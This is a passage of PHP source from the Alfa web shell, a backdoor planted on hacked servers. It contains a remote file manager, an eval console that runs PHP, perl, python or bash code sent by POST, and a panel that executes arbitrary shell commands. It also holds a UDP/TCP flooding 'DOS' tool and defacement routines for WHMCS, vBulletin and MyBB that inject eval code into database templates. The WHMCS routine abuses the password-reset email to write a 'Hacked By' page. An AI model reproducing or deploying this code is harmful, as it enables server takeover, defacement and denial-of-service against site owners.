            echo htmlspecialchars(__read_file($_POST['alfa1']));
            echo "</pre></div></div>";
            break;
        case 'highlight':
            @chdir($_POST['c']);
            if (@is_readable($_POST['alfa1'])) {
                echo "<div class=\"editor-view\"><div class=\"view-content\"><div class=\"ml1\" style=\"background-color: #e1e1e1;color:black;\">";
                $code = @highlight_file($_POST['alfa1'], true);
                echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div></div></div>';
            }
            break;
        case 'delete':
            @chdir($_POST['c']);
            if (@is_writable($_POST['alfa1']) || $GLOBALS["glob_chdir_false"]) {
                $deleted = true;
                if (!@unlink($_POST['alfa1'])) {
                    $deleted = false;
                    if ($alfa_canruncmd) {
                        if (_alfa_is_writable($_POST['alfa1'])) {
                            alfaEx("rm -f '" . addslashes($_POST['alfa1']) . "'");
                            $deleted = true;
                        }
                    }
                }
                if ($deleted) {
                    echo 'File Deleted...<script>var elem = $("' . $_POST['alfa4'] . '").parentNode;elem.parentNode.removeChild(elem);delete editor_files["' . $_POST['alfa4'] . '"];</script>';
                } else {
                    echo "Error...";
                }
            }
            break;
        case 'chmod':
            @chdir($_POST['c']);
            if (!empty($_POST['alfa3'])) {
                $perms = 0;
                for ($i = strlen($_POST['alfa3']) - 1; $i >= 0; --$i) {
                    $perms += (int) $_POST['alfa3'][$i] * pow(8, strlen($_POST['alfa3']) - $i - 1);
                }
                if (!@chmod($_POST['alfa1'], $perms)) {
                    if ($chdir_fals && $alfa_canruncmd) {
                        alfaEx("cd '" . addslashes($_POST["c"]) . "';chmod " . addslashes($_POST['alfa3']) . " '" . addslashes($alfa1_decoded) . "'");
                        echo "Success!";
                    } else {
                        echo "<font color=\"#FFFFFF\"><b>Can't set permissions!</b></font><br><script>document.mf.alfa3.value=\"\";</script>";
                    }
                } else {
                    echo "Success!";
                }
            }
            clearstatcache();
            AlfaNum(8, 9, 10, 7, 6, 5, 4, 2, 1);
            if ($chdir_fals) {
                $file_perm = $file_info[5];
            } else {
                $file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])), -4);
            }
            echo '<script>alfa3_="";</script><form onsubmit="editor(\'' . addslashes($_POST['alfa1']) . '\',\'' . $_POST['alfa2'] . '\',this.chmod.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type="text" name="chmod" value="' . $file_perm . '"><input type=submit value=" "></form>';
            break;
        case 'hexdump':
            @chdir($_POST['c']);
            $c = __read_file($_POST['alfa1']);
            $n = 0;
            $h = array('00000000<br>', '', '');
            $len = strlen($c);
            for ($i = 0; $i < $len; ++$i) {
                $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                switch (ord($c[$i])) {
                    case 0:
                        $h[2] .= ' ';
                        break;
                    case 9:
                        $h[2] .= ' ';
                        break;
                    case 10:
                        $h[2] .= ' ';
                        break;
                    case 13:
                        $h[2] .= ' ';
                        break;
                    default:
                        $h[2] .= $c[$i];
                        break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i + 1 < $len) {
                        $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                    }
                    $h[1] .= '<br>';
                    $h[2] .= "\n";
                }
            }
            echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table></div></div>';
            break;
        case 'rename':
            @chdir($_POST['c']);
            $alfa1_escape = addslashes($_POST["alfa1"]);
            $alfa3_escape = addslashes($_POST["alfa3"]);
            if (!empty($_POST['alfa3'])) {
                $cmd_rename = false;
                if ($chdir_fals && $alfa_canruncmd) {
                    if (_alfa_is_writable($_POST['alfa1'])) {
                        $alfa1_escape = addslashes($alfa1_decoded);
                        alfaEx("cd '" . addslashes($_POST['c']) . "';mv '" . $alfa1_escape . "' '" . addslashes($_POST['alfa3']) . "'");
                    } else {
                        $cmd_rename = true;
                    }
                } else {
                    $alfa1_escape = addslashes($_POST["alfa1"]);
                }
                if (!@rename($_POST['alfa1'], $_POST['alfa3']) && $cmd_rename) {
                    echo "Can't rename!<br>";
                } else {
                    echo 'Renamed!<script>try{$("' . $_POST['alfa4'] . '").innerHTML = "<div class=\'editor-icon\'>"+loadType(\'' . $alfa3_escape . '\',\'' . $ftype . '\',\'' . $_POST['alfa4'] . '\')+"</div><div class=\'editor-file-name\'>' . $alfa3_escape . '</div>";editor_files["' . $_POST['alfa4'] . '"].file = "' . $alfa3_escape . '";updateFileEditor("' . $alfa1_escape . '", "' . $alfa3_escape . '");' . ($ftype == "dir" ? "updateDirsEditor('" . $_POST['alfa4'] . "','" . $alfa1_escape . "');" : "") . '}catch(e){console.log(e)}</script>';
                    $alfa1_escape = $alfa3_escape;
                }
            }
            echo '<form onsubmit="editor(\'' . $alfa1_escape . '\',\'' . $_POST['alfa2'] . '\',this.name.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type="text" name="name" value="' . addslashes(htmlspecialchars(isset($_POST['alfa3']) && $_POST['alfa3'] != '' ? $_POST['alfa3'] : $alfa1_decoded)) . '"><input type=submit value=" "></form>';
            break;
        case 'touch':
            @chdir($_POST['c']);
            if (!empty($_POST['alfa3'])) {
                $time = strtotime($_POST['alfa3']);
                if ($time) {
                    $touched = false;
                    if ($chdir_fals && $alfa_canruncmd) {
                        alfaEx("cd '" . addslashes($_POST["c"]) . "';touch -d '" . htmlspecialchars(addslashes($_POST['alfa3'])) . "' '" . addslashes($alfa1_decoded) . "'");
                        $touched = true;
                    }
                    if (!@touch($_POST['alfa1'], $time, $time) && !$touched) {
                        echo "Fail!";
                    } else {
                        echo "Touched!";
                    }
                } else {
                    echo "Bad time format!";
                }
            }
            clearstatcache();
            echo '<script>alfa3_="";</script><form onsubmit="editor(\'' . addslashes($_POST['alfa1']) . '\',\'' . $_POST['alfa2'] . '\',this.touch.value,\'' . $_POST['c'] . '\',\'' . $_POST['alfa4'] . '\',\'' . $ftype . '\');return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", $chdir_fals ? $file_info[4] : @filemtime($_POST['alfa1'])) . '"><input type=submit value=" "></form>';
            break;
        case 'image':
            @chdir($_POST['c']);
            echo "<hr>";
            $file = $_POST['alfa1'];
            $image_info = @getimagesize($file);
            if (is_array($image_info) || $chdir_fals) {
                $width = (int) $image_info[0];
                $height = (int) $image_info[1];
                if ($chdir_fals && $alfa_canruncmd) {
                    $source = alfaEx("cat '" . addslashes($file) . "' | base64");
                    list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '" . addslashes($file) . "'"));
                    $mime = explode(":", alfaEx("file --mime-type '" . addslashes($file) . "'"));
                    $image_info['mime'] = $mime[1];
                } else {
                    $source = __ZW5jb2Rlcg(__read_file($file, false));
                }
                $image_info_h = "Image type = <span>[</span> " . $image_info['mime'] . " <span>]</span><br>Image Size = <span>[ </span>" . $width . " x " . $height . "<span> ]</span><br>";
                if ($width > 800) {
                    $width = 800;
                }
                echo $content = "<div class='editor-view'><div class='view-content'><center>" . $image_info_h . "<br><img id='viewImage' style='max-width:100%;border:1px solid green;' src='data:" . $image_info['mime'] . ";base64," . $source . "' alt='" . $file . "'></center></div></div><br>";
            }
            break;
    }
    echo "</div>";
    alfaFooter();
}
function findicon($file, $type)
{
    $s = 'http://solevisible.com/icons/';
    $types = array('json', 'ppt', 'pptx', 'xls', 'xlsx', 'msi', 'config', 'cgi', 'pm', 'c', 'cpp', 'cs', 'java', 'aspx', 'asp', 'db', 'ttf', 'eot', 'woff', 'woff2', 'woff', 'conf', 'log', 'apk', 'cab', 'bz2', 'tgz', 'dmg', 'izo', 'jar', '7z', 'iso', 'rar', 'bat', 'sh', 'alfa', 'gz', 'tar', 'php', 'php4', 'php5', 'phtml', 'html', 'xhtml', 'shtml', 'htm', 'zip', 'png', 'jpg', 'jpeg', 'gif', 'bmp', 'ico', 'txt', 'js', 'rb', 'py', 'xml', 'css', 'sql', 'htaccess', 'pl', 'ini', 'dll', 'exe', 'mp3', 'mp4', 'm4a', 'mov', 'flv', 'swf', 'mkv', 'avi', 'wmv', 'mpg', 'mpeg', 'dat', 'pdf', '3gp', 'doc', 'docx', 'docm');
    if ($type != 'file') {
        return $file == '..' ? "http://solevisible.com/icons/back.png" : "http://solevisible.com/icons/folder.png";
    } else {
        $ext = explode('.', $file);
        $ext = end($ext);
        $ext = strtolower($ext);
        return in_array($ext, $types) ? $s . $ext . '.png' : "http://solevisible.com/icons/notfound.png";
    }
}
function alfadlfile()
{
    if (isset($_POST['c'], $_POST['file'])) {
        $basename = rawurldecode(basename($_POST['file']));
        $_POST['file'] = str_replace("//", "/", $_POST['c'] . '/' . $basename);
        $alfa_canruncmd = _alfa_can_runCommand(true, true);
        if (@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=\"" . addslashes($basename) . "\"");
            header("Content-Type: application/octet-stream");
            if ($GLOBALS["glob_chdir_false"]) {
                $randname = $basename . rand(111, 9999);
                $scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);
                $filepath = $scriptpath . "/" . $randname;
                if (_alfa_is_writable($scriptpath)) {
                    alfaEx("cp '" . addslashes($_POST["file"]) . "' '" . addslashes($filepath) . "'");
                    readfile($filepath);
                    @unlink($filepath);
                } else {
                    alfaEx("cat '" . addslashes($_POST["file"]) . "'");
                }
            } else {
                readfile($_POST['file']);
            }
        } else {
            echo "Error...!";
        }
    }
}
function __alfa_set_cookie($key, $value)
{
    $_COOKIE[$key] = $value;
    @setcookie($key, $value, time() + 604800, '/');
}
function alfaphpeval()
{
    if (isset($_COOKIE["eval_tmpdir"]) && @is_dir($_COOKIE["eval_tmpdir"])) {
        $tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]);
    } else {
        $tempdir = dirname(alfaEx("mktemp"));
        __alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir));
    }
    alfahead();
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'ini') {
        echo "<div class=header>";
        ob_start();
        $INI = ini_get_all();
        print "<table border=0><tr><td class=\"listing\"><font class=\"highlight_txt\">Param</td><td class=\"listing\"><font class=\"highlight_txt\">Global value</td><td class=\"listing\"><font class=\"highlight_txt\">Local Value</td><td class=\"listing\"><font class=\"highlight_txt\">Access</td></tr>";
        foreach ($INI as $param => $values) {
            print "\n<tr><td class=\"listing\"><b>" . $param . '</td>' . '<td class="listing">' . $values['global_value'] . ' </td>' . '<td class="listing">' . $values['local_value'] . ' </td>' . '<td class="listing">' . $values['access'] . ' </td></tr>';
        }
        $tmp = ob_get_clean();
        $tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
        $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
        echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
    }
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'info') {
        echo "<div class=header><style>.p {color:#000;}</style>";
        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
        $tmp = preg_replace('!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU', '', $tmp);
        $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
        echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
    }
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'exten') {
        echo "<div class=header>";
        ob_start();
        $EXT = get_loaded_extensions();
        echo '<table border=0><tr><td class="listing">' . implode("</td></tr>\n<tr><td class=\"listing\">", $EXT) . '</td></tr></table>' . count($EXT) . ' extensions loaded';
        echo "</div><br>";
    }
    $lang_html = "";
    foreach (array("php" => "php ~> [ Windows / Linux ]", "perl" => "perl ~> [ Linux ]", "python" => "python ~> [ Linux ]", "bash" => "bash ~> [ Linux ]") as $key => $val) {
        $lang_html .= '<option value="' . $key . '" ' . ($_POST["alfa3"] == $key ? "selected" : "") . '>' . $val . '</option>';
    }
    echo '<div class=header><Center><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'ini\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'info\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\'phpeval\',null,\'\',\'exten\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\'phpeval\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">' . $lang_html . '</select>' . _alfa_load_ace_options("eval") . '<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">' . (!empty($_POST['alfa1']) ? htmlspecialchars($_POST['alfa1']) : "&lt;?php\n\n\techo('hello alfa !');\n\n?>") . '</div></div><center><input type="submit" value="" style="margin-top:5px"></center>';
    echo '</form><pre id="PhpOutput" style="' . (empty($_POST['alfa1']) ? 'display:none;' : '') . 'margin-top:5px;" class="ml1">';
    if (!empty($_POST['alfa1'])) {
        if ($_POST['alfa3'] == "php") {
            ob_start();
            eval('?>' . $_POST['alfa1']);
            $result = htmlspecialchars(ob_get_clean());
        } elseif (_alfa_can_runCommand() && $GLOBALS["sys"] == "unix") {
            $lang = $_POST['alfa3'];
            $filename = "temp" . rand(11111, 99999);
            $temp = $tempdir . "/" . $filename;
            __write_file($filename, $_POST['alfa1']);
            $result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");
            @unlink($filename);
            @unlink($temp);
        }
        echo '<textarea class="bigarea">' . $result . '</textarea>';
    }
    echo "</pre></div>";
    alfafooter();
}
function alfahash()
{
    if (!function_exists('hex2bin')) {
        function hex2bin($p)
        {
            return decbin(hexdec($p));
        }
    }
    if (!function_exists('full_urlencode')) {
        function full_urlencode($p)
        {
            $r = '';
            for ($i = 0; $i < strlen($p); ++$i) {
                $r .= '%' . dechex(ord($p[$i]));
            }
            return strtoupper($r);
        }
    }
    $stringTools = array('Base64_encode ( $string )' => '__ZW5jb2Rlcg($s)', 'Base64_decode ( $string )' => '__ZGVjb2Rlcg($s)', 'strrev ( $string )' => 'strrev($s)', 'bin2hex ( $string )' => 'bin2hex($s)', 'hex2bin ( $string )' => 'hex2bin($s)', 'md5 ( $string )' => 'md5($s)', 'sha1 ( $string )' => 'sha1($s)', 'hash ( "sha251", $string ) --> sha251' => 'hash("sha256",$s)', 'hash ( "sha384", $string ) --> sha384' => 'hash("sha384",$s)', 'hash ( "sha512", $string ) --> sha512' => 'hash("sha512",$s)', 'crypt ( $string )' => 'crypt($s)', 'crc32 ( $string )' => 'crc32($s)', 'str_rot13 ( $string )' => 'str_rot13($s)', 'urlencode ( $string )' => 'urlencode($s)', 'urldecode  ( $string )' => 'urldecode($s)', 'full_urlencode  ( $string )' => 'full_urlencode($s)', 'htmlspecialchars  ( $string )' => 'htmlspecialchars($s)', 'base64_encode (gzdeflate( $string , 9)) --> Encode' => '__ZW5jb2Rlcg(gzdeflate($s, 9))', 'gzinflate (base64_decode( $string )) --> Decode' => '@gzinflate(__ZGVjb2Rlcg($s))', 'str_rot13 (base64_encode( $string )) --> Encode' => 'str_rot13(__ZW5jb2Rlcg($s))', 'base64_decode (str_rot13( $string )) --> Decode' => '__ZGVjb2Rlcg(str_rot13($s))', 'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode' => 'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))', 'gzinflate (base64_decode(str_rot13( $string ))) --> Decode' => '@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))');
    alfahead();
    echo "<div class=header>";
    echo "<form onSubmit='g(\"hash\",null,this.selectTool.value,this.input.value);return false;'><div class='txtfont'>Method:</div> <select name='selectTool' style='width:400px;'>";
    foreach ($stringTools as $k => $v) {
        echo "<option value='" . htmlspecialchars($v) . "' " . ($_POST['alfa1'] == $v ? 'selected' : '') . ">" . $k . "</option>";
    }
    echo "</select> <input type='submit' value=' '/><br><textarea  name='input' style='margin-top:5px' class='bigarea'>" . (empty($_POST['alfa1']) ? '' : htmlspecialchars(@$_POST['alfa2'])) . "</textarea></form>";
    if (!empty($_POST['alfa1'])) {
        $string = addslashes($_POST['alfa2']);
        $string = str_replace('\\"', '"', $string);
        $alg = $_POST['alfa1'];
        $code = str_replace('$s', "'" . $string . "'", $alg);
        ob_start();
        eval('echo ' . $code . ';');
        $res = ob_get_contents();
        ob_end_clean();
        if (in_array($alg, $stringTools)) {
            echo '<textarea class="bigarea">' . htmlspecialchars($res) . '</textarea>';
        }
    }
    echo "</div>";
    alfaFooter();
}
function alfados()
{
    alfahead();
    echo "<div class=header>";
    echo "<center><p><div class=\"txtfont_header\">| DOS |</div></p><form onSubmit=\"g('dos',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;\"><div class=\"txtfont\">Method : <select name=\"m\" style=\"width:80px;\"><option value=\"udp\">UDP</option><option value=\"tcp\">TCP</option></select> Host : <input name=\"host\" type=\"text\" value=\"localhost\" size=\"25\" /> Time : <input name=\"time\" type=\"text\" size=\"15\" /> Port : <input name=\"port\" type=\"text\" size=\"10\" /> <input type=\"submit\" value=\" \" /></div></form></center><br>";
    if (!empty($_POST['alfa1']) && !empty($_POST['alfa2']) && !empty($_POST['alfa3'])) {
        echo __pre();
        $packets = 0;
        ignore_user_abort(true);
        $exec_time = (int) $_POST['alfa2'];
        $time = time();
        $max_time = $exec_time + $time;
        $host = $_POST['alfa1'];
        $port = (int) $_POST['alfa3'];
        $method = $_POST['alfa4'];
        $out = str_repeat('X', 65000);
        while (1) {
            $packets++;
            if (time() > $max_time) {
                break;
            }
            $fp = @fsockopen($method . '://' . $host, $port, $errno, $errstr, 5);
            if ($fp) {
                fwrite($fp, $out);
                fclose($fp);
            }
        }
        echo "<center>{$packets} (" . @round($packets * 65 / 1024, 2) . " MB) packets averaging " . @round($packets / $exec_time, 2) . " packets per second</center>";
        echo "</pre>";
    }
    echo "</div>";
    alfafooter();
}
function __pre()
{
    return "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\">";
}
function alfaIndexChanger()
{
    alfahead();
    echo "<div class=header><center><p><div class=\"txtfont_header\">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick=\"g('IndexChanger',null,null,null,'whmcs')\">| Whmcs | </a><a href=javascript:void(0) onclick=\"g('IndexChanger',null,'vb',null)\">| vBulletin | </a><a href=javascript:void(0) onclick=\"g('IndexChanger',null,null,'mybb')\">| MyBB | </a></h3></center>";
    if (isset($_POST['alfa3']) && $_POST['alfa3'] == 'whmcs') {
        echo __pre();
        echo "<center><center><div class='txtfont_header'>| Whmcs |</div>\r\n<p><center>" . getConfigHtml('whmcs') . "<form onSubmit=\"g('IndexChanger',null,null,null,'whmcs',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\">\r\n";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'URL', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'File Name', 'inputName' => 'fname', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td6' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'));
        create_table($table);
        echo "<br><div class='txtfont'>| Your Index |</div><br>\r\n<textarea name=index rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type='submit' value=' '>\r\n</form></center></center>";
        if (isset($_POST['alfa6'])) {
            $s0levisible = "Powered By Solevisible";
            $dbu = $_POST['alfa6'];
            $path = $_POST['alfa5'];
            $fname = $_POST['alfa4'];
            $dbn = $_POST['alfa7'];
            $dbp = $_POST['alfa8'];
            $dbh = $_POST['alfa9'];
            $index = $_POST['alfa10'];
            $index = str_replace("\\'", "'", $index);
            $deface = '$x = base64_decode("' . __ZW5jb2Rlcg($index) . '"); $solevisible = fopen("' . $fname . '","w"); fwrite($solevisible,$x);';
            $saveData = __ZW5jb2Rlcg($deface);
            $Def = '{php}eval(base64_decode("' . $saveData . '"));{/php}';
            if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
                $conn = @mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
                $soleSave = @mysqli_query($conn, "select message from tblemailtemplates where name='Password Reset Validation'");
                $soleGet = mysqli_fetch_assoc($soleSave);
                $tempSave1 = $soleGet['message'];
                $tempSave = str_replace("'", "\\'", $tempSave1);
                $inject = "UPDATE tblemailtemplates SET message='{$Def}' WHERE name='Password Reset Validation'";
                $result = @mysqli_query($conn, $inject) or die(mysqli_error($conn));
                $create = "insert into tblclients (email) values('[email protected]')";
                $result2 = @mysqli_query($conn, $create) or die(mysqli_error($conn));
                if (function_exists('curl_version')) {
                    $AlfaSole = new AlfaCURL(true);
                    $saveurl = $AlfaSole->Send($path . "/pwreset.php");
                    $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i", $saveurl, $token);
                    $AlfaSole->Send($path . "/pwreset.php", "post", "token={$token[1]}&action=reset&[email protected]");
                    $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
                    $Solevisible = mysqli_query($conn, $backdata) or die(mysqli_error($conn));
                    __alert('File Created...');
                    echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='" . $path . "/" . $fname . "'>Click Here !</a></font></b></center><br><br>";
                } else {
                    echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" " . $path . "/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>[email protected]</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" " . $path . "/" . $fname . " \"</font></b></center><br><br>";
                }
            }
        }
    }
    if (isset($_POST['alfa1']) && $_POST['alfa1'] == 'vb') {
        echo __pre();
        echo "<center><center><div class='txtfont_header'>| vBulletin |</div>\r\n<p><center>" . getConfigHtml('vb') . "<form onSubmit=\"g('IndexChanger',null,'vb',this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value,this.prefix.value,'>>'); return false;\">\r\n";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Prefix', 'inputName' => 'prefix', 'id' => 'db_prefix', 'inputValue' => '', 'inputSize' => '50'));
        create_table($table);
        echo "<br><div class='txtfont'>| Your Index |</div><br>\r\n<textarea name='index' rows='19' cols='103'><title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><br>\r\n<input type='submit' value=' '></form></center></center>";
        if ($_POST['alfa8'] == '>>') {
            $s0levisible = "Powered By Solevisible";
            $dbu = $_POST['alfa2'];
            $dbn = $_POST['alfa3'];
            $dbp = $_POST['alfa4'];
            $dbh = $_POST['alfa5'];
            $index = $_POST['alfa6'];
            $prefix = $_POST['alfa7'];
            $index = str_replace("\\'", "'", $index);
            $set_index = "{\${eval(base64_decode(\\'";
            $set_index .= __ZW5jb2Rlcg("echo \"{$index}\";");
            $set_index .= "\\'))}}{\${exit()}}";
            if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)) {
                $conn = @mysqli_connect($dbh, $dbu, $dbp, $dbn) or die(mysqli_error($conn));
                $loli1 = "UPDATE " . $prefix . "template SET template='" . $set_index . "" . $s0levisible . "' WHERE title='spacer_open'";
                $loli2 = "UPDATE " . $prefix . "template SET template='" . $set_index . "" . $s0levisible . "' WHERE title='FORUMHOME'";
                $loli3 = "UPDATE " . $prefix . "style SET css='" . $set_index . "" . $s0levisible . "', stylevars='', csscolors='', editorstyles=''";
                @mysqli_query($conn, $loli1) or die(mysqli_error($conn));
                @mysqli_query($conn, $loli2) or die(mysqli_error($conn));
                @mysqli_query($conn, $loli3) or die(mysqli_error($conn));
                __alert('VB index changed...!');
            }
        }
    }
    if (isset($_POST['alfa2']) && $_POST['alfa2'] == 'mybb') {
        echo __pre();
        echo "<center><center><div class='txtfont_header'>| Mybb |</div>\r\n<p><center>" . getConfigHtml('mybb') . "<form onSubmit=\"g('IndexChanger',null,'null','mybb',null,null,null,this.mybbdbh.value,this.mybbdbu.value,this.mybbdbn.value,this.mybbdbp.value,this.mybbindex.value); return false;\" method=POST action=''>\r\n";
        $table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'Mysql Host', 'inputName' => 'mybbdbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'Db Name', 'inputName' => 'mybbdbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'Db User', 'inputName' => 'mybbdbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'Db Pass', 'inputName' => 'mybbdbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'));
        create_table($table);
        echo "<br><div class='txtfont'>| Your Index |</div><br>\r\n<textarea name=mybbindex rows='19' cols='103'>\r\n<title>Hacked By Sole Sad & Invisible</title><b>Hacked By Sole Sad & Invisible</b></textarea><p><input type='submit' value='' ></p></form></center></center>";
        if (isset($_POST['alfa6'])) {
            $mybb_dbh = $_POST['alfa6'];
            $mybb_dbu = $_POST['alfa7'];
            $mybb_dbn = $_POST['alfa8'];
            $mybb_dbp = $_POST['alfa9'];
            $mybb_index = $_POST['alfa10'];
            if (!empty($mybb_dbh) && !empty($mybb_dbu) && !empty($mybb_dbn) && !empty($mybb_index)) {
                $conn = @mysqli_connect($mybb_dbh, $mybb_dbu, $mybb_dbp, $mybb_dbn) or die(mysqli_error($conn));
                $prefix = "mybb_";
                $loli7 = "UPDATE mybb_templates SET template='" . $mybb_index . "' WHERE title='index'";
                $result = @mysqli_query($conn, $loli7) or die(mysqli_error($conn));
                __alert('MyBB index changed...!');
            }
        }
    }
    echo "</div>";
    alfafooter();
}
function alfaproc()
{
    alfahead();
    echo "<Div class=header><br><center>";
    if (empty($_POST['ajax']) && !empty($_POST['alfa1'])) {
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
    }
    if ($GLOBALS['sys'] == "win") {
        $process = array("Task List" => "tasklist /V", "System Info" => "systeminfo", "Active Connections" => "netstat -an", "Running Services" => "net start", "User Accounts" => "net user", "Show Computers" => "net view", "ARP Table" => "arp -a", "IP Configuration" => "ipconfig /all");
    } else {
        $process = array("Process status" => "ps aux", "Syslog" => "cat /etc/syslog.conf", "Resolv" => "cat /etc/resolv.conf", "Hosts" => "cat /etc/hosts", "Cpuinfo" => "cat /proc/cpuinfo", "Version" => "cat /proc/version", "Sbin" => "ls -al /usr/sbin", "Interrupts" => "cat /proc/interrupts", "lsattr" => "lsattr -va", "Uptime" => "uptime", "Fstab" => "cat /etc/fstab");
    }
    foreach ($process as $n => $link) {
        echo '<a href="javascript:void(0);" onclick="g(\'proc\',null,\'' . $link . '\')"> | ' . $n . ' | </a>';
    }
    echo "</center><br>";
    if (!empty($_POST['alfa1'])) {
        echo "<pre class='ml1' style='margin-top:5px' >";
        if ($GLOBALS["glob_chdir_false"] && !empty($_POST["c"])) {
            $cmd = "cd '" . addslashes($_POST["c"]) . "';";
        }
        echo alfaEx($cmd . $_POST['alfa1'], true);
        echo "</pre>";
    }
    echo "</div>";
    alfafooter();
}
function alfasafe()
{
    alfahead();
    echo "<div class=header><center><br><div class='txtfont_header'>| Auto ByPasser |</div>";
